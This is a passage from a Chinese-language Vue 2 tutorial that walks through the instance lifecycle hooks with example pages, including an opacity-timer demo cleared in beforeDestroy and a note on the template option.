			opacity:1
		},
		methods: {
    
    
			
		},
		//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
		mounted(){
    
    
			console.log('mounted',this)
			setInterval(() => {
    
    
				this.opacity -= 0.01
				if(this.opacity <= 0) this.opacity = 1
			},16)
		},
	}) 
</script>

13.4 分析Vue的生命周期

13.4.1 总体观察

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>分析生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root" :x="n">
			<h2 v-text="n"></h2>
			<h2>当前的n值是：{
    
    {
    
    n}}</h2>
			<button @click="add">点我n+1</button>
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
    
    
			el:'#root',
			// template:`
			// 	<div>
			// 		<h2>当前的n值是：{
    
    {n}}</h2>
			// 		<button @click="add">点我n+1</button>
			// 	</div>
			// `,
			data:{
    
    
				n:1
			},
			methods: {
    
    
				add(){
    
    
					console.log('add')
					this.n++
				},
				bye(){
    
    
					console.log('bye')
					this.$destroy()
				}
			},
			watch:{
    
    
				n(){
    
    
					console.log('n变了')
				}
			},
			beforeCreate() {
    
    
				console.log('beforeCreate')
			},
			created() {
    
    
				console.log('created')
			},
			beforeMount() {
    
    
				console.log('beforeMount')
			},
			mounted() {
    
    
				console.log('mounted')
			},
			beforeUpdate() {
    
    
				console.log('beforeUpdate')
			},
			updated() {
    
    
				console.log('updated')
			},
			beforeDestroy() {
    
    
				console.log('beforeDestroy')
			},
			destroyed() {
    
    
				console.log('destroyed')
			},
		})
	</script>
</html>

13.4.2 逐个分析

生命周期的创建

① beforeCreate
在创建vue实例化之前，此时没有_data

beforeCreate() {
    
    
   console.log('beforeCreate')
   console.log(this)
   debugger;
},

在这里插入图片描述
② created

created() {
    
    
	console.log('created')
	console.log(this)
	debugger;
},

在这里插入图片描述

生命周期的挂载

① beforeMount

beforeMount() {
    
    
   console.log('beforeMount')
   console.log(this)
   debugger;
},

页面数据未被解析
对所有DOM的操作最终都没有用（因为在这个周期之前的el已经被解析好了，create那一步的绿色框会直接把之前解析好的el插到页面中）

④ mounted

mounted() {
    
    
		console.log('mounted')
		console.log(this)
		document.querySelector('h2').innerText = "123"
	       // 验证 el 是不是真实Dom
	       console.log('mounted',this.$el)
	          console.log('mounted',this.$el instanceof HTMLElement)
		debugger;
},

此时页面解析完成，且对DOM操作有效
在这里插入图片描述

生命周期的更新
数据发生更新就会调用这两个函数
⑤ beforeUpdate

beforeUpdate() {
    
    
	console.log('beforeUpdate')
	console.log(this.n)
	debugger;
},

在这里插入图片描述
⑥ updated

生命周期的销毁
销毁不会销毁基于原生js的方法，即本例中的add()在销毁vm后仍可以使用

⑦ beforeDestroy
一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了

beforeDestroy() {
    
    
	console.log('beforeDestroy')
},

在这里插入图片描述

⑧ destroyed

destroyed() {
    
    
	console.log('destroyed')
},

在这里插入图片描述

13.5 Vue生命周期的总结

在这里插入图片描述

总结

常用的生命周期钩子

mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】

关于销毁Vue实例

销毁后借助Vue开发者工具看不到任何信息
销毁后自定义事件会失效，但原生DOM事件依然有效
一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了

案例：设置按钮，停止透明度变化

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>

		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		 new Vue({
    
    
			el:'#root',
			data:{
    
    
				opacity:1
			},
			methods: {
    
    
				stop(){
    
    
					//方法一：stop()内部清楚定时器，并清除vm实例
					//但实际上，一般不会有一个方法来引起vm“自杀”，一般是由其他组件“他杀”
					//也就是说stop()一般不存在，所以清楚定时器要写在beforeDestroy()里
                   	// clearInterval(this.timer) 清除定时器
					this.$destroy()  // 清除 vm 实例
				}
			},
			//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
			mounted(){
    
    
				console.log('mounted',this)
				//将定时器挂载到vm.timer上
				this.timer = setInterval(() => {
    
    
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
			beforeDestroy() {
    
    
				//方法二：写在beforeDestroy()里
				clearInterval(this.timer)
				console.log('vm即将驾鹤西游了')
			},
		})

	</script>
</html>

13.6 补充知识点 template

<div id="root" :x="n">
</div>
new Vue({
    
    
   		el:'#root',
   		//用es6的模板字符串，在要解析的html代码外套上个div，则一整个div会替换掉上面那个带id的div
   		//注意：用这种方法解析的idv是不带:x="n"的
   		template:`
   			<div>
   				<h2>当前的n值是：{
     
     {n}}</h2>
   				<button @click="add">点我n+1</button>
   			</div>
   		`,
   		data:{
    
    
   			n:1
   		},
})